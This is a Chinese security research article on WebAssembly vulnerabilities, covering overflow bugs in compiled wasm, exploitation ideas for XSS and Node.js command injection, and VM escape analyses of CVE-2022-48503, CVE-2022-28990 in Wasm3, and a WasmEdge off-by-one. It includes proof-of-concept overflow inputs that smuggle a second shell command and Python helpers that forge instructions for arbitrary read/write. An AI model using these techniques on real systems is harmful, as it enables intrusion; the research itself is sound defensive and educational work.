一、前言
WebAssembly（简称wasm）是一种可移植、体积小、加载快并且能够在浏览器上运行的一种程序文件。其能够在JavaScript通过接口进行调用执行。开发者们一直都比较关心JS的运行速度问题，V8引擎在JS的运行速度方面做了巨大的优化，但是少数情况下我们进行大量本地运算的时候，仍然可能遇到性能瓶颈，这个时候webassembly的作用就凸现出来了。例如AutoCAD利用编译器将其沉淀了30多年的代码直接编译成WebAssembly，同时性能基于之前的普通Web应用得到了很大的提升。
C/C++/Rust源代码可以被编译为WebAssembly文件，然后JS层就可以对其进行调用。WebAssembly文件中存储着字节码，位于JavaScript引擎中的WebAssembly虚拟机将会执行字节码。字节码的执行有两种方式，一种是在运行时边读取opcode边执行，另一种则是在执行前将整个WebAssembly JIT翻译为本地汇编代码，然后直接跳转到汇编代码执行。V8采用的是第二种方式。
二、WebAssembly虚拟机
WebAssembly虚拟机是一种栈虚拟机，变量使用栈进行传递。WebAsse mbly虚拟机有两个栈，即数据栈和指令栈。
WebAssembly的数据栈只用于存储数据，不会存储任何指针；指令栈只用于存储指令和数据在数据栈中的下标，不会存储任何数据，并且在执行opcode时会对取出的下标进行边界检查。由于WebAssembly将数据和程序流用栈给分隔开了，也就不会发生像汇编代码中的栈溢出劫持返回地址的漏洞利用手法。简而言之，WebAssembly中的所有指令都无法操作指针，也就不存在任意地址读写。但是传统的漏洞仍然存在，只是不能直接劫持程序流了。
三、WebAssembly文件格式
编译代码emcc hello.c -s WASM=1 -o hello.html
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
char buf[100];
memset(buf,0,100);
scanf("%s",buf);
printf("hello world: %s\n",buf);
return 0;
}将得到的hello.wasm使用wabt项目中的wasm2wat转为S表达式 ./wasm2wat hello.wasm > hello.wat S-表达式是一个非常简单的用来表示树的文本格式，跟wasm二进制文件是简单的对应关系。
(module
(type (;0;) (func (param i32) (result i32)))
(import "wasi_snapshot_preview1" "fd_write" (func (;0;) (type 9)))
(func (;0;) (type 8)
i32.const 1
i32.const 2
i32.add
....
)
(table (;0;) 9 9 funcref)
(memory (;0;) 256 256)
(global (;0;) (mut i32) (i32.const 65536))
(export "memory" (memory 0))
(elem (;0;) (i32.const 1) func 13 12 14 39 40 43 44 46)
(data (;0;) (i32.const 100) "hello")
(start 0))
)使用010-Editor打开hello.wasm文件，可以看到对应的结构：
S表达式和WASM二进制之间是简单的翻译关系。由于S表达式的比较容易理解，在逆向WASM时可以直接阅读S表达式。
四、传统漏洞模式在WebAssembly中的变化
4.1 格式化字符串
编译代码 emcc hello.c -s WASM=1 -o hello.html
#include <stdio.h>
#include <string.h>
int main() {
char buf[100];
memset(buf,'a',100);
printf("%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p\n");
return 0;
}运行结果
编译后查看S表达式，我们重点关注一下S表达式的import表，这是WASM用于导入外部函数、库函数用的，有点类似于ELF的GOT表，不同的是import表即可以导入WASM虚拟机实现的内部的库函数，还能导入用户用JS写的函数。
(import "wasi_snapshot_preview1" "fd_write" (func (;0;) (type 9)))
(import "env" "emscripten_memcpy_js" (func (;1;) (type 12)))
(import "wasi_snapshot_preview1" "fd_close" (func (;2;) (type 0)))
(import "wasi_snapshot_preview1" "fd_read" (func (;3;) (type 9)))
(import "env" "emscripten_resize_heap" (func (;4;) (type 0)))
(import "wasi_snapshot_preview1" "fd_seek" (func (;5;) (type 10)))在这里我们没有看到printf，该函数被编译进了WASM。通过测试，格式化字符串漏洞仍然存在，%p%p%p%p%p%p%p%p%p%p%p能够泄漏出一些数据，但是运行结果并未泄漏出栈上的buf，这跟printf在不同的WebAssembly编译器中实现有关。
4.2 堆溢出
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void fun() {
printf("fun\n");
}
void fun2() {
printf("fun2\n");
}
typedef struct Node {
void (*f)();
char buf[100];
} Node;
int main()
{
char *p = (char* *)malloc(0x10);
Node *node = (Node *)malloc(sizeof(Node));
node->f = fun;
strcpy(node->buf,"hello world\n");
node->f();
printf("before ptr=%p,buf=%s\n",node->f,node->buf);
memset(p,'a',0x100);
printf("after ptr=%p,buf=%s\n",node->f,node->buf);
node->f();
return 0;
}运行结果
堆溢出仍然存在，可以覆盖堆中的数据。根据前面的介绍，WASM数据区不可能存储指针，因此结构体中的f函数指针实际上是一个偏移值，可以利用溢出覆盖偏移值，进而能够去执行其他的wasm函数。但是这里无法像汇编那样能够跳转到任意函数以及gadgets，这里只能跳转到在函数表(func表)中存储的函数。
4.3 栈溢出
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void fun() {
printf("fun\n");
}
void fun2() {
printf("fun2\n");
}
typedef struct Node {
void (*f)();
char buf[100];
} Node;
int main() {
Node node;
char buf[10];
node.f = fun;
strcpy(node.buf,"hello world\n");
node.f();
printf("before ptr=%p,buf=%s\n",node.f,node.buf);
memset(buf,'a',100);
printf("after ptr=%p,buf=%s\n",node.f,node.buf);
node.f();
return 0;
}运行结果
栈溢出与堆溢出类似，可以覆盖后方的一些数据结构，有函数指针的话可以覆盖函数的index，但是返回地址没有保存在数据栈中，因此不影响程序的返回执行。与汇编不同的是，WASM的栈空间溢出会把 前面的变量覆盖，这是因为WASM开辟栈时是按照代码顺序来的，遇到node时，先压栈，遇到buf时，再压栈，这也就会导致buf在node的内存前面，可以覆盖到。
4.4 数组越界
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main() {
int x = 0;
char buf[16];
memset(buf,'a',0x10);
size_t data[1];
for (int i=-100;i<100;i++) {
printf("%p\n",data[i]);
}
return 0;
}运行结果
数组越界可以泄漏数据区的任何数据，但是只会限定在数据区，因为下标的上下限就是数据栈的边界，这种边界检查在对应的访存opcode的handler中会进行。
五、WebAssembly的一些利用思路
5.1 前端XSS
#include <stdio.h>
#include <string.h>
#include <emscripten.h>
int main() {
char msg[100];
char buf[10];
strcpy(msg,"alert('Hello, world!');");
scanf("%s",buf);
emscripten_run_script(msg);
return 0;
}输入aaaaaaaaaaalert('hacked');，可以将emscripten_run_script的参数覆盖，执行任意的JS代码。
运行结果
如结果所示，可以利用溢出覆盖一些能够执行JS脚本的函数的参数，当然也可以覆盖结构体中的函数偏移指向emscripten_run_script函数，并控制好参数去执行JS脚本。
5.2 服务器端RCE
WebAssembly不仅可以在浏览器中使用，还能够在服务器端被nodejs使用。与浏览器不同的是，nodejs可以支持系统操作API，例如system、open等函数，都能够在nodejs的WebAssembly中正常使用，那么就可以利用溢出等漏洞控制system的参数来达到命令执行 编译以下代码emcc 1.c -o 1.js -s EXPORTED_FUNCTIONS="["_vuln"]" -s "EXTRA_EXPORTED_RUNTIME_METHODS=['ccall']"。
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <emscripten.h>
int EMSCRIPTEN_KEEPALIVE vuln(char *p) {
char msg[100];
char buf[10];
strcpy(msg,"echo hello");
strcpy(buf,p);
system(msg);
return 0;
}在nodejs中调用
const m = require('./1.js');
m.ccall('vuln','int',['string'],['aaaaaaaaaals /;echo hacked;'])运行结果
还可以利用漏洞改写函数偏移，指向system并控制好参数，主动执行命令。或者是system函数参数部分可控，则可以命令注入。
5.3 思路总结
首先需要关注WebAssembly附带的js文件，看看里面写了哪些导入和导出函数，如果是在nodejs中的WebAssembly，要是导入函数中有一些能够操作系统的函数如system、open等，则重点关注，然后利用wasm2wat将wasm文件转换为wat S表达式，审计这些函数的参数是否存在或者可以注入等漏洞；要是有溢出漏洞，则看能否覆盖参数，或者覆盖函数偏移值。
六、WebAssembly虚拟机逃逸
在BlackHat USA 2022的议题上我发表了一篇名为Is WebAssembly Really Safe? - WasmVMEscape andRCEVulnerabilities Have Been Found in New Way的议题，讲的就是WebAssembly的虚拟机逃逸。WebAssembly虚拟机逃逸漏洞重点关注三个方面：字节码的执行漏洞、WASM二进制结构解析漏洞、导入表库函数实现中的漏洞。 这三个关注的是虚拟机的本身而不是位于虚拟机里的WASM代码，因此又可以回到传统漏洞模式的思路。
6.1 CVE-2022-48503
漏洞信息
位于Apple WebKit的Source/JavaScriptCore/wasm/WasmInstance.cpp中，对WebAssembly进行加载解析时，m_module->moduleInformation().dataSegmentsCount()的值未检查大小，是直接从WASM文件中读取的，从而导致dataSegmentIndex可以越界。
Instance::Instance(VM& vm, JSGlobalObject* globalObject, Ref<Module>&& module)
......
for (unsigned dataSegmentIndex = 0; dataSegmentIndex < m_module->moduleInformation().dataSegmentsCount(); ++dataSegmentIndex) {
const auto& dataSegment = m_module->moduleInformation().data[dataSegmentIndex];
if (dataSegment->isPassive())
m_passiveDataSegments.quickSet(dataSegmentIndex);
}
......
}修复
在Source/JavaScriptCore/wasm /WasmSectionParser.cpp文件中添加了一个numberOfDataSegments > maxDataSegments的检查。
auto SectionParser::parseDataCount() -> PartialResult
{
uint32_t numberOfDataSegments;
WASM_PARSER_FAIL_IF(!parseVarUInt32(numberOfDataSegments), "can't get Data Count section's count");
//HERE
WASM_PARSER_FAIL_IF(numberOfDataSegments > maxDataSegments, "Data Count section's count is too big ", numberOfDataSegments , " maximum ", maxDataSegments);</font>
m_info->numberOfDataSegments = numberOfDataSegments;
return { };
}6.2 CVE-2022-28990
WebAssembly的导入库函数是一个可研究的方向，导入函数可以从wasm转为S表达式后的import 表中看到。
(import "env" "system" (func (;0;) (type 0)))
(import "wasi_snapshot_preview1" "fd_close" (func (;1;) (type 0)))
(import "wasi_snapshot_preview1" "fd_read" (func (;2;) (type 10)))
(import "env" "emscripten_resize_heap" (func (;3;) (type 0)))
(import "env" "emscripten_memcpy_js" (func (;4;) (type 13)))
(import "wasi_snapshot_preview1" "fd_seek" (func (;5;) (type 12)))有的导入函数来自于JS层写的自定义函数，有点则来自于虚拟机自身实现的库函数。例如在上面我们看到system函数是从env导入的，而fd_read则是从wasi_snapshot_preview1导入的，对应的我们在js文件中看到。
var wasmImports = {
/** @export */
emscripten_memcpy_js: _emscripten_memcpy_js,
/** @export */
emscripten_resize_heap: _emscripten_resize_heap,
/** @export */
fd_close: _fd_close,
/** @export */
fd_read: _fd_read,
/** @export */
fd_seek: _fd_seek,
/** @export */
system: _system
};
function createWasm() {
// prepare imports
var info = {
'env': wasmImports,
'wasi_snapshot_preview1': wasmImports,
};
...
instantiateAsync(wasmBinary, wasmBinaryFile, info, receiveInstantiationResult);
...可以看到emcc生成的WASM JS接口文件同时指定了env和wasi_snapshot_preview1表。实际上wasi_snapshot_preview1库是WebAssembly System Interface(WASI)标准的库，WASI是一套系统API接口，拥有像fd_write、fd_read、sock_accept等系统函数，某些WebAssembly虚拟机会在内部实现自己的一套WASI，对于这种有自己实现WASI接口的WebAssembly虚拟机，在JS层就无需再去实现wasi_snapshot_preview1的导入函数。
Wasm3是一款能够在嵌入式设备上运行的WebAssembly虚拟机，在嵌入式设备上使用WebAssembly的优点是可以做到类似于Java一样的一次编译到处运行，无需考虑嵌入式设备的底层适配。
Wasm3内部实现了WASI标准，而漏洞则出现在库函数fd_write、fd_read中。
# define m3ApiOffsetToPtr(offset) (void*)((uint8_t*)_mem + (uint32_t)(offset))
# define m3ApiReadMem32(ptr) m3_bswap32((* (uint32_t *)(ptr)))
static inline
void copy_iov_to_host(void* _mem, struct iovec* host_iov, wasi_iovec_t* wasi_iov, int32_t iovs_len)
{
// Convert wasi memory offsets to host addresses
for (int i = 0; i < iovs_len; i++) {
host_iov[i].iov_base = m3ApiOffsetToPtr(m3ApiReadMem32(&wasi_iov[i].buf));
host_iov[i].iov_len = m3ApiReadMem32(&wasi_iov[i].buf_len);
}
}
m3ApiRawFunction(m3_wasi_generic_fd_read)
{
m3ApiReturnType (uint32_t)
m3ApiGetArg (__wasi_fd_t , fd)
m3ApiGetArgMem (wasi_iovec_t * , wasi_iovs)
m3ApiGetArg (__wasi_size_t , iovs_len)
m3ApiGetArgMem (__wasi_size_t * , nread)
m3ApiCheckMem(wasi_iovs, iovs_len * sizeof(wasi_iovec_t));
m3ApiCheckMem(nread, sizeof(__wasi_size_t));
#if defined(HAS_IOVEC)
struct iovec iovs[iovs_len];
copy_iov_to_host(_mem, iovs, wasi_iovs, iovs_len);
ssize_t ret = readv(fd, iovs, iovs_len);
......在函数copy_iov_to_host中，使用m3ApiOffsetToPtr对WASM字节码传过来的offset进行转换，即加上_mem的地址，得到要读取的目标地址，漏洞出现在没有对offset进行检查，可以传入任意的offset从而溢出_mem，实现任意地址写；同理，fd_write则可以实现任意地址读 如下的POC读取了_mem + 0x10000处的数据。
6.3 Off by One in WasmEdge
漏洞分析
WasmEdge是另一款WebAssembly虚拟机。
在其迭代的开发版本中曾经出现过一个字节码的off by one漏洞。Executor::execute函数是WasmEdge解释执行WebAssembly字节码的函数。
Expect<void> Executor::execute(Runtime::StoreManager &StoreMgr,
Runtime::StackManager &StackMgr,
const AST::InstrView::iterator Start,
const AST::InstrView::iterator End) {
AST::InstrView::iterator PC = Start;
AST::InstrView::iterator PCEnd = End;
auto Dispatch = [this, &PC, &StoreMgr, &StackMgr]() -> Expect<void> {
const AST::Instruction &Instr = *PC;
switch (Instr.getOpCode()) {
......
case OpCode::Br:
return runBrOp(StackMgr, Instr, PC);
......
};
while (PC != PCEnd) {
OpCode Code = PC->getOpCode();
......
if (auto Res = Dispatch(); !Res) {
return Unexpect(Res);
}
PC++;
}
......重点关注OpCode::Br指令的实现。
Expect<void> Executor::runBrOp(Runtime::StackManager &StackMgr,
const AST::Instruction &Instr,
AST::InstrView::iterator &PC) noexcept {
return branchToLabel(StackMgr, Instr.getJump().StackEraseBegin,
Instr.getJump().StackEraseEnd, Instr.getJump().PCOffset,
PC);
}
Expect<void> Executor::branchToLabel(Runtime::StackManager &StackMgr,
uint32_t EraseBegin, uint32_t EraseEnd,
int32_t PCOffset,
AST::InstrView::iterator &PC) noexcept {
// Check stop token
if (unlikely(StopToken.exchange(0, std::memory_order_relaxed))) {
spdlog::error(ErrCode::Interrupted);
return Unexpect(ErrCode::Interrupted);
}
StackMgr.stackErase(EraseBegin, EraseEnd);
PC += PCOffset;
return {};
}branchToLabel会把PC加上PCOffset，但是在Executor::execute的尾部还有一个PC++。
Expect<void> Executor::execute(Runtime::StoreManager &StoreMgr,
Runtime::StackManager &StackMgr,
const AST::InstrView::iterator Start,
const AST::InstrView::iterator End) {
......
AST::InstrView::iterator PC = Start;
......
while (PC != PCEnd) {
OpCode Code = PC->getOpCode();
......
if (auto Res = Dispatch(); !Res) {
return Unexpect(Res);
}
PC++; //Here
}在某种情况下，auto Res = Dispatch()处理Br指令，将PC加上PCOffset，此时PC的值将等于PCEnd，但是循环还没结束，后面还有一条PC++语句，执行后，PC == PCEnd + 1，此后while (PC != PCEnd)将永远成立，那么就会继续读取PCEnd + 1处的数据结构来执行。
漏洞利用
WasmEdge在运行WASM时首先会进行解析编译，构造出两个栈，一个执行栈_pc stack，另一个则是数据栈_sp stack，_pc stack是在解析时生成的，字节码无法操作_pc stack，只能操作数据栈_sp stack，正如WebAssmebly标准定义的那样。_pc stack中的所有数据，例如下标，都是在解析时检查通过的，如果某个下标能够溢出数据栈，将在解析时被检查到，从而终止wasm的解析，进而也不会执行。
漏洞的情况表现如下：
对于WebAssmebly虚拟机自己来说，PCEnd+1在_pc stack这块堆内存之外，如果能够在PCEnd + 1处布置自定义的数据，漏洞将得以利用。这是因为前面提到，PC栈里的数据都是经过检查的，这里再补充一条就是在运行时，这些Opcode的处理函数Handler将不会再次检查参数。 例如global.set指令的处理函数如下：
Expect<void> Executor::runGlobalSetOp(Runtime::StackManager &StackMgr,
uint32_t Idx) const noexcept {
auto *GlobInst = getGlobInstByIdx(StackMgr, Idx);
assuming(GlobInst);
GlobInst->getValue() = StackMgr.pop();
return {};
}
Runtime::Instance::GlobalInstance *
Executor::getGlobInstByIdx(Runtime::StackManager &StackMgr,
const uint32_t Idx) const {
......
return ModInst->unsafeGetGlobal(Idx);
}
GlobalInstance *unsafeGetGlobal(uint32_t Idx) const noexcept {
return GlobInsts[Idx];
}unsafeGetGlobal直接使用了从PC栈中获取的下标来读取数据，并不检查下标是否越界，因为在WASM解析时就已经做过了下标边界的检查，无需再检查。 现在由于漏洞溢出的原因，PC将继续从后面的内存进行取值，而后面的内存我们是可以在一定程度上控制的，比如我们伪造一条global.set的指令结构体，并将Idx下标设置为我们想要的任意值，将能够实现任意地址写。
我们可以使用i64.const来进行堆风水的布局。
这是因为运行时，此类opcode的处理就是向C++的vector中push一个新的数据，而vector是可以进行内存分配的，只要不断的压入数据，就能分配很多的内存。
case OpCode::I32__const:
case OpCode::I64__const:
case OpCode::F32__const:
case OpCode::F64__const:
StackMgr.push(Instr.getNum());
return {};因此我们在POC中写了很多的i64.const指令，最终的效果如下：
不幸的是End后面的内存并不完全可控，幸运的是我们能够控制End + 1的位置的第三个字段的值，查看指令结构体：
struct Instruction {
uint32_t JumpEnd;
uint32_t JumpElse;
BlockType ResType;
uint32_t Offset = 0;
OpCode Code;
struct {
bool IsAllocLabelList : 1;
bool IsAllocValTypeList : 1;
} Flags;
};可控位置正好对应了指令结构体中的Code成员，也就是opcode能够任意指定，能够跳转到任何的opcode的handler中去执行，但是相关参数不可控制。一个好的思路是看能否执行某条Opcode Handler,将PC指向完全可控区。其中一条Else指令可以被利用。
Expect<void> Executor::execute(Runtime::StoreManager &StoreMgr,
......
case OpCode::Else:
......
PC += PC->getJumpEnd();
[[fallthrough]];
case OpCode::End:
PC = StackMgr.maybePopFrame(PC);
return {};
......处理Else指令时，会将PC加上getJumpEnd()。
在内存中看到对应JumpEnd的位置数据为0x154，意味着我们可以让PC += 0x154，这已经足够让我们将PC指向可控区了。
由于Instruction结构体的大小为32字节，而数据栈中的32字节的数据类型有v128.const i64x2，因此我们可以用v128.const i64x2来伪造整个Instruction结构体。最终的效果如下，在PCEnd+1处伪造一条Else指令，将PC转移到数据栈中，并执行伪造的一系列指令。
例如global.get和global.set的伪造如下：
def Global_Get(index):
global i
i += 2
code = 'nop\n'
code += 'v128.const i64x2 %d 0\n' % (index)
code += 'nop\n'
code += 'v128.const i64x2 0x2300000000 0\n'
return code
def Global_Set(index):
global i
i += 2
code = 'nop\n'
code += 'v128.const i64x2 %d 0\n' % (index)
code += 'nop\n'
code += 'v128.const i64x2 0x2400000000 0\n'
return code
def i32_const(value):
global i
i += 2
code = 'nop\n'
code += 'v128.const i64x2 %d 0\n' % (value)
code += 'nop\n'
code += 'v128.const i64x2 0x4100000000 0\n'
return code
......通过设置index，能够实现任意地址读写，进而构造后续RCE。
七、总结
目前还很少爆出WebAssmebly相关产品的漏洞，或许未来会有更多使用WebAssmebly的产品，本文为其研究提供了一种思路。对代码本身的漏洞，在WebAssmebly里会受到限制进而导致传统漏洞模式变得难以利用，但是仍然具有挖掘的方面。对于WebAssmebly虚拟机，不同的厂商可能实现不一样，可以针对其中的数据结构解析、指令执行、导入函数的底层实现入手，挖掘虚拟机本身的漏洞进而达到虚拟机逃逸控制主机的目的。
八、参考
us-18-Lukasiewicz-WebAssembly-A-New-World-of-Native_Exploits-On-The-Web-wp
us-18-Lukasiewicz-WebAssembly-A-New-World-of-Native_Exploits-On-The-Web
us-18-Silvanovich-The-Problems-and-Promise-of-WebAssembly
Everything Old is New Again: Binary Security of WebAssembly
US-22-Hai-Is-WebAssembly-Really-Safe-wp